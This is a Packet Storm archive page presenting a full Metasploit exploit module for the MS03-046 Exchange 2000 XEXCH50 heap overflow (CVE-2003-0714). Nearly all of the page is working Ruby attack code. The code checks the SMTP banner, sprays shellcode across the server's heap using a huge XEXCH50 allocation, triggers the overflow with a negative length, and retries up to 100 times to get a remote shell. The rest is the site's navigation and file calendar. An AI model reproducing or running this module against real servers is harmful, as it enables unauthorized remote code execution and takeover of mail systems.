exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MS03-046 Exchange 2000 XEXCH50 Heap Overflow

MS03-046 Exchange 2000 XEXCH50 Heap Overflow
Posted Dec 31, 2009
Authored by H D Moore, patrick | Site metasploit.com

This is an exploit for the Exchange 2000 heap overflow. Due to the nature of the vulnerability, this exploit is not very reliable. This Metasploit module has been tested against Exchange 2000 SP0 and SP3 running a Windows 2000 system patched to SP4. It normally takes between one and 100 connection attempts to successfully obtain a shell. This exploit is *very* unreliable.

tags | exploit, overflow, shell
systems | windows
advisories | CVE-2003-0714
SHA-256 | 26a51fce399b6448d8c4a7690d9c8391601cf7dd1c9478bdf2b4167db5d655ee

MS03-046 Exchange 2000 XEXCH50 Heap Overflow

Change Mirror Download
##
# $Id: ms03_046_exchange2000_xexch50.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
'Description' => %q{
This is an exploit for the Exchange 2000 heap overflow. Due
to the nature of the vulnerability, this exploit is not very
reliable. This module has been tested against Exchange 2000
SP0 and SP3 running a Windows 2000 system patched to SP4. It
normally takes between one and 100 connection attempts to
successfully obtain a shell. This exploit is *very* unreliable.
},
'Author' => [
'hdm', # original module
'patrick', # msf3 port :)
],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'CVE', '2003-0714' ],
[ 'BID', '8838' ],
[ 'OSVDB', '2674' ],
[ 'MSB', 'MS03-046' ],
[ 'URL', 'http://www.milw0rm.com/exploits/113' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Platform' => 'win',
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 15 2003'))

register_options(
[
Opt::RPORT(25),
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', 'random@example.com']),
OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
])
end

def check
connect
banner = sock.get_once

if (banner !~ /Microsoft/)
print_status("Target does not appear to be an Exchange server.")
return Exploit::CheckCode::Safe
end

sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
res = sock.get_once
if (res !~ /XEXCH50/)
print_status("Target does not appear to be an Exchange server.")
return Exploit::CheckCode::Safe
end
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
res = sock.get_once

if (res =~ /Sender OK/)
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
res = sock.get_once
if (res =~ /250/)
sock.put("XEXCH50 2 2\r\n")
res = sock.get_once
if (res !~ /Send binary data/)
print_error("Target has been patched!")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Appears
end
end
end

disconnect
end

def smtp_setup(count)
print_status("Exploit attempt ##{count}")

connect
sleep(1)
banner = sock.get_once
print_status("Connected to SMTP server: #{banner.to_s}")

if (banner !~ /Microsoft/)
print_status("Target does not appear to be running Exchange.")
return
end

sleep(5)
sock.put("EHLO X\r\n")
sleep(7)
res = sock.get_once

if (res !~ /XEXCH50/)
print_status("Target is not running Exchange.")
return
end

sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
sleep(3)

sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
sleep(3)

end

def exploit
bufflen = target['BuffLen']
print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
count = 1 # broke

begin
if (count > datastore['ATTEMPTS'])
print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
return # Stop after a specified number of attempts.
end

if (session_created?)
return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
end

while(true)
if (smtp_setup(count))
print_status("Connection 1: ")
end

sock.put("XEXCH50 2 2\r\n")
sleep(3)
res = sock.get(-1,3)
print_status("#{res}")
if (res !~ /Send binary data/)
print_status("Target is not vulnerable.")
return # commented out for the moment
end

sock.put("XX")

print_status("ALLOC")

size = 1024 * 1024 * 32

sock.put("XEXCH50 #{size} 2\r\n")
sleep(3)

sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"

print_status("Uploading shellcode to remote heap.")

if (sock.put(sploit))
print_status("\tOK.")
end

print_status("Connection 2: ")
smtp_setup(count) # Connection 2

sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
sleep(2)
res = sock.get_once

if (!res)
print_status("Error - no response")
end

print_status("OK")

bufflen += target['Offset2']

if (bufflen > target['Offset1'])
bufflen = target['BuffLen']
end

heapover = [target['Ret']].pack('V') * bufflen
print_status("Overwriting heap with payload jump (#{bufflen})")
sock.put(heapover)

print_status("Starting reconnect sequences...")

10.times do |x|
print_status("Connect #{x}")
connect
sock.put("HELO X\r\n")
disconnect
end
end

rescue
print_status("Unable to connect or Exchange has crashed... Retrying.")
count += 1
retry
end

disconnect
end
end
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close